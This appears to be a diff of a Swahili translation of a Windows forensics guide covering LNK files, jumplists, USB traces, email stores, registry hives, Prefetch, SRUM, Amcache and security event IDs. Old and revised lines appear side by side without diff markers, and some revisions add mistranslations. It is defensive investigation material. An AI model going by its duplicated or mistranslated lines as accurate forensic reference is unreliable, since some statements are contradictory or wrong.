Pia, **tarehe ya kuundwa kwa faili ya kiungo** ni **wakati wa kwanza** faili ya asili ilikuwa **imetumika kwanza** na **tarehe** **iliyobadilishwa** ya faili ya kiungo ni **wakati wa mwisho** faili ya asili iliotumika.
|
||||
|
||||
Kuangalia faili hizi unaweza kutumia [**LinkParser**](http://4discovery.com/our-tools/).
|
||||
|
||||
Katika zana hizi utapata **seti 2** za alama za wakati:
|
||||
Katika zana hizi utapata **seti 2** za alama za muda:
|
||||
|
||||
* **Seti ya Kwanza:**
|
||||
1. Tarehe ya Kubadilishwa ya Faili
|
||||
1. Tarehe ya Kubadilishwa kwa Faili
|
||||
2. Tarehe ya Kufikia Faili
|
||||
3. Tarehe ya Uundaji wa Faili
|
||||
3. Tarehe ya Kuundwa kwa Faili
|
||||
* **Seti ya Pili:**
|
||||
1. Tarehe ya Kubadilishwa ya Kiungo
|
||||
1. Tarehe ya Kubadilishwa kwa Kiungo
|
||||
2. Tarehe ya Kufikia Kiungo
|
||||
3. Tarehe ya Uundaji wa Kiungo.
|
||||
3. Tarehe ya Kuundwa kwa Kiungo.
|
||||
|
||||
Seti ya kwanza ya alama za wakati inahusiana na **alama za wakati za faili yenyewe**. Seti ya pili inahusiana na **alama za wakati za faili iliyounganishwa**.
|
||||
Seti ya kwanza ya alama za muda inahusiana na **alama za muda za faili yenyewe**. Seti ya pili inahusiana na **alama za muda za faili iliyounganishwa**.
|
||||
|
||||
Unaweza kupata habari sawa kwa kutumia zana ya Windows CLI: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd)
|
||||
```
|
||||
|
|
@ -138,15 +139,15 @@ Unaweza kukagua jumplists kwa kutumia [**JumplistExplorer**](https://ericzimmerm
|
|||
|
||||
Inawezekana kutambua kuwa kifaa cha USB kilichotumiwa kutokana na uundaji wa:
|
||||
|
||||
* Folda ya Hivi Karibuni ya Windows
|
||||
* Folda ya Hivi Karibuni ya Microsoft Office
|
||||
* Folda za Hivi Karibuni za Windows
|
||||
* Folda za Hivi Karibuni za Microsoft Office
|
||||
* Jumplists
|
||||
|
||||
Tafadhali kumbuka kuwa baadhi ya faili za LNK badala ya kuashiria njia ya asili, zinaashiria kwenye folda ya WPDNSE:
|
||||
|
||||
.png>)
|
||||
|
||||
Faili katika folda ya WPDNSE ni nakala ya zile za asili, kwa hiyo hazitadumu baada ya kuanza upya kwa PC na GUID inachukuliwa kutoka kwa shellbag.
|
||||
Faili katika folda ya WPDNSE ni nakala ya zile za asili, hivyo hazitadumu baada ya kuanza upya kwa PC na GUID inachukuliwa kutoka kwa shellbag.
|
||||
|
||||
### Taarifa za Usajili
|
||||
|
||||
|
|
@ -154,7 +155,7 @@ Faili katika folda ya WPDNSE ni nakala ya zile za asili, kwa hiyo hazitadumu baa
|
|||
|
||||
### setupapi
|
||||
|
||||
Angalia faili `C:\Windows\inf\setupapi.dev.log` kupata alama za wakati kuhusu wakati uhusiano wa USB ulifanyika (tafuta `Section start`).
|
||||
Angalia faili `C:\Windows\inf\setupapi.dev.log` kupata alama za wakati kuhusu wakati uunganishaji wa USB ulifanyika (tafuta `Section start`).
|
||||
|
||||
 (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (14).png>)
|
||||
|
||||
|
|
@ -164,9 +165,9 @@ Angalia faili `C:\Windows\inf\setupapi.dev.log` kupata alama za wakati kuhusu wa
|
|||
|
||||
.png>)
|
||||
|
||||
### Plug and Play Cleanup
|
||||
### Usafi wa Plug and Play
|
||||
|
||||
Kazi iliyopangwa inayojulikana kama 'Plug and Play Cleanup' imeundwa kimsingi kwa ajili ya kuondoa toleo zilizopitwa na wakati za madereva. Tofauti na lengo lake lililoelezwa la kuhifadhi toleo la karibuni la pakiti ya dereva, vyanzo vya mtandaoni vinapendekeza pia inalenga madereva ambayo hayajatumika kwa siku 30. Kwa hivyo, madereva kwa vifaa vinavyoweza kuondolewa ambavyo havijakuwa vimeunganishwa katika siku 30 zilizopita zinaweza kuwa chini ya kufutwa.
|
||||
Kazi iliyopangwa inayojulikana kama 'Usafi wa Plug and Play' imeundwa kimsingi kwa ajili ya kuondoa toleo za zamani za madereva. Tofauti na lengo lake lililoelezwa la kuhifadhi toleo la karibuni la pakiti ya dereva, vyanzo vya mtandaoni vinapendekeza pia inalenga madereva ambayo hayajatumika kwa siku 30. Kwa hivyo, madereva kwa vifaa vinavyoweza kuondolewa ambavyo havijakuwa vimeunganishwa katika siku 30 zilizopita zinaweza kuwa chini ya kufutwa.
|
||||
|
||||
Kazi hiyo iko katika njia ifuatayo:
|
||||
`C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`.
|
||||
|
|
@ -175,13 +176,13 @@ Picha inayoonyesha maudhui ya kazi hiyo imepatikana:
|
|||
|
||||
|
||||
**Vipengele muhimu na Mipangilio ya Kazi:**
|
||||
- **pnpclean.dll**: DLL hii inahusika na mchakato halisi wa kusafisha.
|
||||
- **UseUnifiedSchedulingEngine**: Imewekwa kuwa `TRUE`, ikionyesha matumizi ya injini ya kawaida ya kupangia kazi.
|
||||
- **pnpclean.dll**: DLL hii inahusika na mchakato halisi wa usafi.
|
||||
- **UseUnifiedSchedulingEngine**: Imewekwa kuwa `TRUE`, ikionyesha matumizi ya injini ya kawaida ya kupangilia kazi.
|
||||
- **MaintenanceSettings**:
|
||||
- **Kipindi ('P1M')**: Inaelekeza Meneja wa Kazi kuanzisha kazi ya kusafisha kila mwezi wakati wa matengenezo ya kiotomatiki ya kawaida.
|
||||
- **Kipindi ('P1M')**: Inaelekeza Meneja wa Kazi kuanzisha kazi ya usafi kila mwezi wakati wa matengenezo ya kiotomatiki ya kawaida.
|
||||
- **Mwisho wa Muda ('P2M')**: Inaagiza Meneja wa Kazi, ikiwa kazi itashindwa kwa miezi miwili mfululizo, kutekeleza kazi wakati wa matengenezo ya dharura ya kiotomatiki.
|
||||
|
||||
Hii inahakikisha matengenezo ya kawaida na usafi wa madereva, na mipango ya kujaribu tena kazi katika kesi ya kushindwa mfululizo.
|
||||
Usanidi huu unahakikisha matengenezo ya kawaida na usafi wa madereva, na utoaji wa kujaribu tena kazi katika kesi ya kushindwa mfululizo.
|
||||
|
||||
**Kwa habari zaidi angalia:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)
|
||||
|
||||
|
|
@ -189,7 +190,7 @@ Hii inahakikisha matengenezo ya kawaida na usafi wa madereva, na mipango ya kuja
|
|||
|
||||
Barua pepe zina sehemu **2 za kuvutia: Vichwa vya habari na maudhui** ya barua pepe. Katika **vichwa vya habari** unaweza kupata habari kama:
|
||||
|
||||
* **Nani** alituma barua pepe (anwani ya barua pepe, IP, seva za barua pepe ambazo zimerekebisha barua pepe)
|
||||
* **Nani** alituma barua pepe (anwani ya barua pepe, IP, seva za barua pepe ambazo zimeelekeza barua pepe)
|
||||
* **Lini** barua pepe ilitumwa
|
||||
|
||||
Pia, ndani ya vichwa vya habari vya `References` na `In-Reply-To` unaweza kupata kitambulisho cha ujumbe:
|
||||
|
|
@ -202,16 +203,16 @@ Programu hii huihifadhi barua pepe kwa HTML au maandishi. Unaweza kupata barua p
|
|||
|
||||
**Metadata** ya barua pepe na **mawasiliano** yanaweza kupatikana ndani ya **database ya EDB**: `\Users\<username>\AppData\Local\Comms\UnistoreDB\store.vol`
|
||||
|
||||
**Badilisha kipengee** cha faili kutoka `.vol` hadi `.edb` na unaweza kutumia zana [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) kuifungua. Ndani ya meza ya `Message` unaweza kuona barua pepe.
|
||||
**Badilisha kipengee** cha faili kutoka `.vol` hadi `.edb` na unaweza kutumia zana [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) kuifungua. Ndani ya jedwali la `Message` unaweza kuona barua pepe.
|
||||
|
||||
### Microsoft Outlook
|
||||
|
||||
Wakati seva za Exchange au wateja wa Outlook wanapotumika kutakuwa na vichwa vya MAPI:
|
||||
|
||||
* `Mapi-Client-Submit-Time`: Wakati wa mfumo wakati barua pepe iliotumwa
|
||||
* `Mapi-Conversation-Index`: Idadi ya ujumbe wa watoto wa mjadala na alama ya wakati ya kila ujumbe wa mjadala
|
||||
* `Mapi-Conversation-Index`: Idadi ya ujumbe wa watoto wa mjadala na muda wa kila ujumbe wa mjadala
|
||||
* `Mapi-Entry-ID`: Kitambulisho cha ujumbe.
|
||||
* `Mappi-Message-Flags` na `Pr_last_Verb-Executed`: Taarifa kuhusu mteja wa MAPI (ujumbe umesomwa? haujasomwa? umejibu? umepelekwa upya? nje ya ofisi?)
|
||||
* `Mappi-Message-Flags` na `Pr_last_Verb-Executed`: Taarifa kuhusu mteja wa MAPI (ujumbe umesomwa? haujasomwa? umejibiwa? umepelekwa upya? nje ya ofisi?)
|
||||
|
||||
Katika mteja wa Microsoft Outlook, ujumbe uliotumwa/kupokelewa, data za mawasiliano, na data ya kalenda zimehifadhiwa kwenye faili ya PST katika:
|
||||
|
||||
|
|
@ -225,7 +226,7 @@ Unaweza kufungua faili ya PST kwa kutumia zana [**Kernel PST Viewer**](https://w
|
|||
.png>)
|
||||
### Faili za Microsoft Outlook OST
|
||||
|
||||
Faili ya **OST** inazalishwa na Microsoft Outlook wakati inaundwa na **IMAP** au seva ya **Exchange**, ikihifadhi habari sawa na faili ya PST. Faili hii inasawazishwa na seva, ikihifadhi data kwa **miezi 12 iliyopita** hadi **ukubwa wa juu wa 50GB**, na iko katika saraka ile ile na faili ya PST. Ili kuona faili ya OST, [**Mwangaza wa OST wa Kernel**](https://www.nucleustechnologies.com/ost-viewer.html) inaweza kutumika.
|
||||
**Faili la OST** huzalishwa na Microsoft Outlook wakati imepangwa na **IMAP** au seva ya **Exchange**, ikihifadhi habari sawa na faili ya PST. Faili hii inasawazishwa na seva, ikihifadhi data kwa **miezi 12 iliyopita** hadi **ukubwa wa juu wa 50GB**, na iko katika saraka ile ile na faili ya PST. Ili kuona faili ya OST, [**Mwangalizi wa OST wa Kernel**](https://www.nucleustechnologies.com/ost-viewer.html) inaweza kutumika.
|
||||
|
||||
### Kupata Viambatisho
|
||||
|
||||
|
|
@ -236,47 +237,47 @@ Viambatisho vilivyopotea vinaweza kupatikana kutoka:
|
|||
|
||||
### Faili za Thunderbird MBOX
|
||||
|
||||
**Thunderbird** hutumia faili za **MBOX** kuhifadhi data, zilizoko kwenye `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
**Thunderbird** hutumia **faili za MBOX** kuhifadhi data, zilizoko kwenye `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles`.
|
||||
|
||||
### Vielelezo vya Picha
|
||||
|
||||
- **Windows XP na 8-8.1**: Kufikia saraka na vielelezo huzalisha faili ya `thumbs.db` ikihifadhi maoni ya picha, hata baada ya kufutwa.
|
||||
- **Windows 7/10**: `thumbs.db` inaundwa wakati inafikiwa kwa mtandao kupitia njia ya UNC.
|
||||
- **Windows Vista na mpya**: Vielelezo vya picha vimehifadhiwa katika `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` na faili zinaitwa **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) na [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) ni zana za kuona faili hizi.
|
||||
- **Windows XP na 8-8.1**: Kufikia saraka na vielelezo huzalisha faili ya `thumbs.db` ikihifadhi hakikisho za picha, hata baada ya kufutwa.
|
||||
- **Windows 7/10**: `thumbs.db` huzalishwa unapofikia kwa njia ya mtandao kupitia njia ya UNC.
|
||||
- **Windows Vista na mpya**: Hakikisho za vielelezo zimejumuishwa katika `%userprofile%\AppData\Local\Microsoft\Windows\Explorer` na faili zinaitwa **thumbcache\_xxx.db**. [**Thumbsviewer**](https://thumbsviewer.github.io) na [**ThumbCache Viewer**](https://thumbcacheviewer.github.io) ni zana za kuona faili hizi.
|
||||
|
||||
### Taarifa za Usajili wa Windows
|
||||
|
||||
Usajili wa Windows, ukihifadhi data nyingi za shughuli za mfumo na mtumiaji, imejumuishwa katika faili katika:
|
||||
Usajili wa Windows, ukihifadhi data nyingi za shughuli za mfumo na mtumiaji, imejumuishwa katika faili zifuatazo:
|
||||
|
||||
- `%windir%\System32\Config` kwa funguo za chini za `HKEY_LOCAL_MACHINE` tofauti.
|
||||
- `%windir%\System32\Config` kwa funguo za chini za `HKEY_LOCAL_MACHINE` mbalimbali.
|
||||
- `%UserProfile%{User}\NTUSER.DAT` kwa `HKEY_CURRENT_USER`.
|
||||
- Windows Vista na toleo jipya hufanya nakala rudufu ya faili za usajili za `HKEY_LOCAL_MACHINE` katika `%Windir%\System32\Config\RegBack\`.
|
||||
- Windows Vista na toleo jipya hufanya nakala za usalama za faili za usajili za `HKEY_LOCAL_MACHINE` katika `%Windir%\System32\Config\RegBack\`.
|
||||
- Aidha, taarifa za utekelezaji wa programu zimehifadhiwa katika `%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT` kutoka Windows Vista na Windows 2008 Server kuendelea.
|
||||
|
||||
### Zana
|
||||
|
||||
Baadhi ya zana ni muhimu kuchambua faili za usajili:
|
||||
|
||||
* **Mhariri wa Usajili**: Imeboreshwa kwenye Windows. Ni GUI ya kutembea kupitia usajili wa Windows wa kikao cha sasa.
|
||||
* [**Mchunguzi wa Usajili**](https://ericzimmerman.github.io/#!index.md): Inakuruhusu kupakia faili ya usajili na kutembea kupitia kwa GUI. Pia ina Vialamisho vinavyoonyesha funguo zenye habari muhimu.
|
||||
* **Mhariri wa Usajili**: Imewekwa kwenye Windows. Ni GUI ya kutembea kupitia usajili wa Windows wa kikao cha sasa.
|
||||
* [**Mchunguzi wa Usajili**](https://ericzimmerman.github.io/#!index.md): Inakuruhusu kupakia faili ya usajili na kutembea kupitia kwa GUI. Pia ina Alama za Vitabu zinazoonyesha funguo zenye habari muhimu.
|
||||
* [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Tena, ina GUI inayoruhusu kutembea kupitia usajili uliopakiwa na pia ina programu-jalizi zinazoonyesha habari muhimu ndani ya usajili uliopakiwa.
|
||||
* [**Uokoaji wa Usajili wa Windows**](https://www.mitec.cz/wrr.html): Programu nyingine ya GUI inayoweza kutoa habari muhimu kutoka kwa usajili uliopakiwa.
|
||||
* [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Programu nyingine ya GUI inayoweza kutoa habari muhimu kutoka kwa usajili uliopakiwa.
|
||||
|
||||
### Kurejesha Elementi Iliyofutwa
|
||||
|
||||
Wakati funguo inafutwa, inaashiria hivyo, lakini mpaka nafasi inayochukua inahitajika, haitaondolewa. Kwa hivyo, kutumia zana kama **Mchunguzi wa Usajili** inawezekana kurejesha funguo hizi zilizofutwa.
|
||||
Wakati funguo inapofutwa, inaashiria hivyo, lakini mpaka nafasi inayochukua inahitajika, haitaondolewa. Kwa hivyo, kutumia zana kama **Mchunguzi wa Usajili** inawezekana kurejesha funguo hizi zilizofutwa.
|
||||
|
||||
### Muda wa Kuandika Mwisho
|
||||
### Muda wa Mwisho wa Kuandika
|
||||
|
||||
Kila Funguo-Thamani ina **muda wa alama** unaonyesha wakati wa mwisho ulibadilishwa.
|
||||
Kila Funguo-Kitu kina **muda** unaonyesha wakati wa mwisho uliobadilishwa.
|
||||
|
||||
### SAM
|
||||
|
||||
Faili/hive ya **SAM** ina **watumiaji, vikundi na nywila za watumiaji** za mfumo.
|
||||
|
||||
Katika `SAM\Domains\Account\Users` unaweza kupata jina la mtumiaji, RID, kuingia mwisho, kuingia kushindwa mwisho, hesabu ya kuingia, sera ya nywila na wakati akaunti iliumbwa. Ili kupata **nywila** unahitaji pia faili/hive ya **SYSTEM**.
|
||||
Katika `SAM\Domains\Account\Users` unaweza kupata jina la mtumiaji, RID, kuingia mwisho, kuingia kushindwa mwisho, kuhesabu kuingia, sera ya nywila na wakati akaunti ilianzishwa. Ili kupata **nywila** unahitaji pia faili/hive ya **SYSTEM**.
|
||||
|
||||
### Viingilio vya Kuvutia katika Usajili wa Windows
|
||||
### Viingilio Vyenye Kuvutia katika Usajili wa Windows
|
||||
|
||||
{% content-ref url="interesting-windows-registry-keys.md" %}
|
||||
[interesting-windows-registry-keys.md](interesting-windows-registry-keys.md)
|
||||
|
|
@ -286,25 +287,25 @@ Katika `SAM\Domains\Account\Users` unaweza kupata jina la mtumiaji, RID, kuingia
|
|||
|
||||
### Mchakato wa Msingi wa Windows
|
||||
|
||||
Katika [chapisho hili](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) unaweza kujifunza kuhusu mchakato wa kawaida wa Windows ili kugundua tabia za shaka.
|
||||
Katika [makala hii](https://jonahacks.medium.com/investigating-common-windows-processes-18dee5f97c1d) unaweza kujifunza kuhusu mchakato wa kawaida wa Windows ili kugundua tabia za shaka.
|
||||
|
||||
### Programu za Hivi Karibuni za Windows
|
||||
|
||||
Ndani ya usajili wa `NTUSER.DAT` katika njia `Software\Microsoft\Current Version\Search\RecentApps` unaweza kupata funguo za ziada na habari kuhusu **programu iliyotekelezwa**, **wakati wa mwisho** ilitekelezwa, na **idadi ya mara** iliyozinduliwa.
|
||||
Ndani ya usajili wa `NTUSER.DAT` katika njia `Software\Microsoft\Current Version\Search\RecentApps` unaweza kupata funguo za ziada zenye habari kuhusu **programu iliyotekelezwa**, **wakati wa mwisho** ilitekelezwa, na **idadi ya mara** iliyozinduliwa.
|
||||
|
||||
### BAM (Msimamizi wa Shughuli za Nyuma)
|
||||
|
||||
Unaweza kufungua faili ya `SYSTEM` na mhariri wa usajili na ndani ya njia `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` unaweza kupata habari kuhusu **programu zilizotekelezwa na kila mtumiaji** (kumbuka `{SID}` katika njia) na **wakati** walitekelezwa (wakati uko ndani ya thamani ya data ya usajili).
|
||||
Unaweza kufungua faili ya `SYSTEM` na mhariri wa usajili na ndani ya njia `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` unaweza kupata habari kuhusu **programu zilizotekelezwa na kila mtumiaji** (kumbuka `{SID}` katika njia) na **wakati** walitekelezwa (wakati uko ndani ya thamani ya Data ya usajili).
|
||||
|
||||
### Windows Prefetch
|
||||
|
||||
Prefetching ni mbinu inayoruhusu kompyuta kupakua kimya-kimya **rasilimali muhimu zinazohitajika kuonyesha maudhui** ambayo mtumiaji **anaweza kupata karibu siku zijazo** ili rasilimali ziweze kupatikana haraka.
|
||||
Prefetching ni mbinu inayoruhusu kompyuta kupakua kimya-kimya **rasilimali zinazohitajika** ili kuonyesha yaliyomo ambayo mtumiaji **anaweza kufikia hivi karibuni** ili rasilimali ziweze kupatikana haraka.
|
||||
|
||||
Windows prefetch inajumuisha kuunda **hifadhi za programu zilizotekelezwa** ili ziweze kupakia haraka. Hifadhi hizi zinaundwa kama faili za `.pf` ndani ya njia: `C:\Windows\Prefetch`. Kuna kikomo cha faili 128 katika XP/VISTA/WIN7 na faili 1024 katika Win8/Win10.
|
||||
|
||||
Jina la faili linaundwa kama `{jina_la_programu}-{hash}.pf` (hash inategemea njia na hoja za utekelezaji). Katika W10 faili hizi zimepakwa. Tafadhali kumbuka kuwa uwepo wa faili unaonyesha kwamba **programu ilitekelezwa** wakati fulani.
|
||||
Jina la faili linaundwa kama `{jina_la_programu}-{hash}.pf` (hash inategemea njia na hoja za programu). Katika W10 faili hizi zimehifadhiwa. Tafadhali kumbuka kwamba uwepo wa faili pekee unaonyesha kwamba **programu ilitekelezwa** wakati fulani.
|
||||
|
||||
Faili ya `C:\Windows\Prefetch\Layout.ini` ina **majina ya saraka za faili zilizopakuliwa mapema**. Faili hii ina **habari kuhusu idadi ya utekelezaji**, **tarehe** za utekelezaji na **faili** **zilizofunguliwa** na programu.
|
||||
Faili ya `C:\Windows\Prefetch\Layout.ini` ina **majina ya saraka za faili zilizoprefetch**. Faili hii ina **habari kuhusu idadi ya utekelezaji**, **tarehe** za utekelezaji na **faili** **zilizofunguliwa** na programu.
|
||||
|
||||
Kutazama faili hizi unaweza kutumia zana [**PEcmd.exe**](https://github.com/EricZimmerman/PECmd):
|
||||
```bash
|
||||
|
|
@ -314,7 +315,7 @@ Kutazama faili hizi unaweza kutumia zana [**PEcmd.exe**](https://github.com/Eric
|
|||
|
||||
### Superprefetch
|
||||
|
||||
**Superprefetch** ina lengo sawa na prefetch, **kuwezesha programu kupakia haraka** kwa kutabiri ni nini kitakachopakiwa baadaye. Hata hivyo, haitoi huduma ya prefetch.\
|
||||
**Superprefetch** ina lengo sawa na prefetch, **kuwezesha programu kupakia haraka** kwa kutabiri ni nini kitakachopakiwa next. Hata hivyo, haisubiri huduma ya prefetch.\
|
||||
Huduma hii itazalisha faili za database katika `C:\Windows\Prefetch\Ag*.db`.
|
||||
|
||||
Katika hizi database unaweza kupata **jina** la **programu**, **idadi** ya **utekelezaji**, **faili** **zilizofunguliwa**, **upatikanaji** wa **kiasi**, **njia kamili**, **muda** na **muda wa alama**.
|
||||
|
|
@ -323,7 +324,7 @@ Unaweza kupata habari hii kwa kutumia zana [**CrowdResponse**](https://www.crowd
|
|||
|
||||
### SRUM
|
||||
|
||||
**System Resource Usage Monitor** (SRUM) **inachunguza** **rasilimali** **zilizotumiwa** **na mchakato**. Ilianza katika W8 na huhifadhi data katika database ya ESE iliyoko `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
**System Resource Usage Monitor** (SRUM) **inachunguza** **rasilimali** **zilizotumiwa** **na mchakato**. Ilianza katika W8 na hifadhi data katika database ya ESE iliyoko `C:\Windows\System32\sru\SRUDB.dat`.
|
||||
|
||||
Inatoa habari ifuatayo:
|
||||
|
||||
|
|
@ -335,7 +336,7 @@ Inatoa habari ifuatayo:
|
|||
* Muda wa Uunganisho
|
||||
* Muda wa Mchakato
|
||||
|
||||
Habari hii hupitiwa kila baada ya dakika 60.
|
||||
Habari hii huzalishwa upya kila baada ya dakika 60.
|
||||
|
||||
Unaweza kupata tarehe kutoka kwa faili hii kwa kutumia zana [**srum\_dump**](https://github.com/MarkBaggett/srum-dump).
|
||||
```bash
|
||||
|
|
@ -364,21 +365,21 @@ Kutafsiri habari iliyohifadhiwa, zana ya [**AppCompatCacheParser**](https://gith
|
|||
|
||||
Faili ya **Amcache.hve** ni msingi wa usajili unaorekodi maelezo kuhusu programu zilizotekelezwa kwenye mfumo. Kawaida hupatikana kwenye `C:\Windows\AppCompat\Programas\Amcache.hve`.
|
||||
|
||||
Faili hii ni muhimu kwa kuhifadhi rekodi za michakato iliyotekelezwa hivi karibuni, ikiwa ni pamoja na njia za faili za kutekelezeka na hash zao za SHA1. Habari hii ni ya thamani kwa kufuatilia shughuli za programu kwenye mfumo.
|
||||
Faili hii ni muhimu kwa kuhifadhi rekodi za michakato iliyotekelezwa hivi karibuni, ikiwa ni pamoja na njia za faili za utekelezaji na hash zao za SHA1. Taarifa hii ni ya thamani kwa kufuatilia shughuli za programu kwenye mfumo.
|
||||
|
||||
Kutolea nje na kuchambua data kutoka kwa **Amcache.hve**, zana ya [**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) inaweza kutumika. Amri ifuatayo ni mfano wa jinsi ya kutumia AmcacheParser kutafsiri maudhui ya faili ya **Amcache.hve** na kutoa matokeo kwa muundo wa CSV:
|
||||
```bash
|
||||
AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\genericUser\Desktop\outputFolder
|
||||
```
|
||||
Miongoni mwa faili za CSV zilizozalishwa, `Amcache_Unassociated file entries` ni muhimu hasa kutokana na habari tajiri inayotoa kuhusu viingilio vya faili visivyo husishwa.
|
||||
Miongoni mwa faili za CSV zilizozalishwa, `Amcache_Unassociated file entries` ni muhimu sana kutokana na habari tajiri inayotoa kuhusu viingilio vya faili visivyo husishwa.
|
||||
|
||||
Faili ya CVS yenye kuvutia zaidi iliyozalishwa ni `Amcache_Unassociated file entries`.
|
||||
|
||||
### RecentFileCache
|
||||
|
||||
Saraka hii inaweza kupatikana tu katika W7 katika `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` na ina habari kuhusu utekelezaji wa hivi karibuni wa baadhi ya binaries.
|
||||
Kielelezo hiki kinaweza kupatikana tu katika W7 katika `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` na ina habari kuhusu utekelezaji wa hivi karibuni wa baadhi ya binaries.
|
||||
|
||||
Unaweza kutumia zana [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) kuchambua faili hiyo.
|
||||
Unaweza kutumia zana [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) kuchambua faili.
|
||||
|
||||
### Kazi zilizopangwa
|
||||
|
||||
|
|
@ -391,11 +392,11 @@ Unaweza kuzipata katika usajili chini ya `SYSTEM\ControlSet001\Services`. Unawez
|
|||
### **Duka la Windows**
|
||||
|
||||
Programu zilizosakinishwa zinaweza kupatikana katika `\ProgramData\Microsoft\Windows\AppRepository\`\
|
||||
Hifadhidata hii ina **logi** na **kila programu iliyosakinishwa** kwenye mfumo ndani ya hifadhidata **`StateRepository-Machine.srd`**.
|
||||
Hifadhi hii ina **logi** na **kila programu iliyosakinishwa** kwenye mfumo ndani ya **database** **`StateRepository-Machine.srd`**.
|
||||
|
||||
Ndani ya jedwali la Programu katika hifadhidata hii, ni rahisi kupata safu: "Kitambulisho cha Programu", "Nambari ya Pakiti", na "Jina la Kuonyesha". Safu hizi zina habari kuhusu programu zilizosakinishwa awali na zilizosakinishwa na inaweza kupatikana ikiwa baadhi ya programu zilifutwa kwa sababu vitambulisho vya programu zilizosakinishwa inapaswa kuwa za mfululizo.
|
||||
Ndani ya jedwali la Programu katika hii database, ni pamoja na vitengo: "Kitambulisho cha Programu", "Nambari ya Pakiti", na "Jina la Kuonyesha". Vitengo hivi vina habari kuhusu programu zilizosakinishwa awali na zilizosakinishwa na inaweza kupatikana ikiwa baadhi ya programu zilisakinishwa kwa sababu vitambulisho vya programu zilizosakinishwa vinapaswa kuwa vya mfululizo.
|
||||
|
||||
Pia ni **rahisi kupata programu iliyosakinishwa** katika njia ya usajili: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Pia ni **pamoja na programu iliyosakinishwa** katika njia ya usajili: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\
|
||||
Na **programu zilizofutwa** katika: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\`
|
||||
|
||||
## Matukio ya Windows
|
||||
|
|
@ -412,20 +413,20 @@ Vipakuli viko katika `C:\Windows\System32\config` kabla ya Windows Vista na kati
|
|||
|
||||
Mahali pa faili za matukio zinaweza kupatikana katika usajili wa SYSTEM katika **`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**
|
||||
|
||||
Zinaweza kuonekana kutoka kwa Mwangalizi wa Matukio ya Windows (**`eventvwr.msc`**) au kwa zana zingine kama [**Mwangalizi wa Matukio**](https://eventlogxp.com) **au** [**Mwangalizi wa Evtx/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
Zinaweza kuonekana kutoka kwa Mwangalizi wa Matukio ya Windows (**`eventvwr.msc`**) au kwa zana nyingine kama [**Mwangalizi wa Matukio**](https://eventlogxp.com) **au** [**Mwangalizi wa Evtx/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.**
|
||||
|
||||
## Kuelewa Kuingiza Matukio ya Usalama ya Windows
|
||||
|
||||
Matukio ya ufikiaji hurekodiwa katika faili ya usanidi wa usalama iliyoko katika `C:\Windows\System32\winevt\Security.evtx`. Ukubwa wa faili hii unaweza kurekebishwa, na unapofikia uwezo wake, matukio ya zamani hufutwa. Matukio yaliyorekodiwa ni pamoja na kuingia na kutoka kwa mtumiaji, hatua za mtumiaji, na mabadiliko kwa mipangilio ya usalama, pamoja na ufikiaji wa mali kama faili, folda, na mali zilizoshirikiwa.
|
||||
Matukio ya ufikiaji hurekodiwa katika faili ya usanidi wa usalama iliyoko katika `C:\Windows\System32\winevt\Security.evtx`. Ukubwa wa faili hii unaweza kurekebishwa, na unapofikia uwezo wake, matukio ya zamani hufutwa. Matukio yaliyorekodiwa ni pamoja na kuingia na kutoka kwa watumiaji, hatua za watumiaji, na mabadiliko kwa mipangilio ya usalama, pamoja na ufikiaji wa mali kama faili, folda, na mali zilizoshirikiwa.
|
||||
|
||||
### Vitambulisho muhimu vya Matukio ya Usajili wa Mtumiaji:
|
||||
### Vitambulisho muhimu vya Matukio ya Usajili wa Watumiaji:
|
||||
|
||||
- **Tukio la 4624**: Inaonyesha mtumiaji alithibitishwa kwa mafanikio.
|
||||
- **Tukio la 4625**: Inaashiria kushindwa kwa uthibitisho.
|
||||
- **Matukio ya 4634/4647**: Yanawakilisha matukio ya kuingia na kutoka kwa mtumiaji.
|
||||
- **Tukio la 4624**: Inaonyesha mafanikio ya kuingia kwa mtumiaji.
|
||||
- **Tukio la 4625**: Inaashiria kushindwa kwa kuingia.
|
||||
- **Matukio ya 4634/4647**: Yanawakilisha matukio ya kutoka kwa mtumiaji.
|
||||
- **Tukio la 4672**: Linabainisha kuingia na mamlaka ya usimamizi.
|
||||
|
||||
#### Aina za Ndani ndani ya Matukio ya 4634/4647:
|
||||
#### Aina za Ndani ndani ya Tukio la 4634/4647:
|
||||
|
||||
- **Mwingiliano (2)**: Kuingia moja kwa moja kwa mtumiaji.
|
||||
